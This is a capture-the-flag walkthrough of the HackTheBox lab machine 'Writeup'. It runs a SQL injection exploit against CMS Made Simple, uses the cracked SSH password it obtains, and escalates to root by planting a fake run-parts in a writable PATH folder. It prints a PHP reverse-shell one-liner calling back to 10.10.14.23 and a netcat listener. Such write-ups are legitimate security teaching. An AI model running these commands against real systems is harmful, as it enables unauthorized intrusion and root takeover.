- Vulnerability: SQL Injection vulnerability of CMS Made Easy
- Explanation: CMS Made Easy version 184.108.40.206 has a SQL Injection vulnerability that results in exposure to login id and password hash
- Vulnerability: Hijack Command Execution by Path Interception
- Explanation: A writable bin folder exists in the execution search PATH and is preceding to where command run-parts is located leads to command execution hijacking
nmap -p- -A -T4 10.10.10.138
TCP 22: OpenSSH 7.4p1 TCP 80: Apache httpd 2.4.25
Initial Shell Exploitation
There are only port 22 & 80 open. So let check out the website:
This is a single web page with no links to other pages. There’s is an email address email@example.com that can translate to username jkr and hostname writeup.htb. I setup the hostname to point to 10.10.10.138 at /etc/hosts but unfortunately, the web page remains the same.
Another piece of information is that the system has Eeyore DoS protection script in place that monitors 40x errors. That hinders my scans using gobuster, nikto & etc.
gobuster dir -u http://10.10.10.138 -w /usr/share/wordlists/dirb/common.txt
The command failed quickly and my IP is blocked for a few minutes. So directory scanning is not viable to find any other hidden files/folders. Luckily, robots.txt shows us our direction:
It reveals a folder /writeup. Let’s check it out.
There’s links to a few pages that have walkthrough to some HTB boxes, just like my post, lol:
Different walkthroughs are shown based on the parameter page at the URL. That may be subject to directory traversal or file inclusion where I may be able to read some files or better yet, perform some command executions.
Unfortunately, I am not able to get any further after some tampering. Next, I start looking at the source code of the web page and notice the content is managed by software CMS Made Simple with copyright @ 2019 which is pretty new.
searchsploit is my friend to search for exploits. I usually use it first before heading to google:
searchsploit cms made simple
There isn’t any information about the version installed on the system. But since copyright info is quite new, I start off with the newer exploits that could lead to credentials or remote code execution. The SQL Injection vulnerability seems promising.
The python exploit code was made for python 2. I did some minor fixes to covert it to python 3. That includes some print statements fixes to use parenthesis and byte array to string conversion to read the rockyou.txt (a password dictionary)
Let’s do a quick run of the exploit to see the usage information:
With the usage information available, let’s give it a try:
python3 46635.py -u http://10.10.10.138/writeup -c -w /usr/share/wordlists/rockyou.txt
All right! This takes quite a while but we find username/password: jkr:raykayjay9. Awesome, let’s try it using ssh:
Successfully login as jkr. Quick check on the directory gives us the user flag:
Quick check on the OS shows that it is Linux version 4.9.0-8-amd64 (Debian).
The system does not have sudo command installed and there isn’t special cron job that we can exploit. Next, I download and run the linenum.sh for more thorough enumeration on the box. However, I can’t find any leads to privilege escalation.
I turn to process monitoring and try to see if there’s any process running periodically. I am using the linux process snooping tool pspy to help. Since the linux version is amd64, I use the 64 bit version.
I let it runs for a while, there’s couple processes running periodically: /usr/sbin/CRON & /root/bin/cleanup.pl but I am not able to take advantage of these processes.
Next, I use another terminal to start another session into the system. That’s when something interesting happens:
When logging through ssh, the command run-parts is executed. And it’s showing the PATH search order of the command:
Let’s see where run-parts command is located:
It’s in /bin folder. It’s the last folder in the PATH search order. That means if I can inject a custom run-parts command in any of the preceding folders, my custom command can be triggered. Let’s check the permission of the folders:
Folders /usr/local/bin and /usr/local/sbin are writer by group staff. Take a look at membership of user jkr:
User jkr is a member of group staff. Bingo! Time to write a reverse shell and save as /usr/local/bin/run-parts. I use the following 1 line php reverse shell command and save it to /usr/local/bin/run-parts. Then use chmod +x to make it executable:
php -r '$sock=fsockopen("10.10.14.23",4001);exec("/bin/sh -i <&3 >&3 2>&3");'
Then start a netcat session listening to port 4001:
nc -nvlp 4001
And finally trigger the custom run-parts execution by starting another ssh session ssh firstname.lastname@example.org.
Root shell obtained! Final job is to obtain the root flag:
Thank you for the box Writeup, jkr!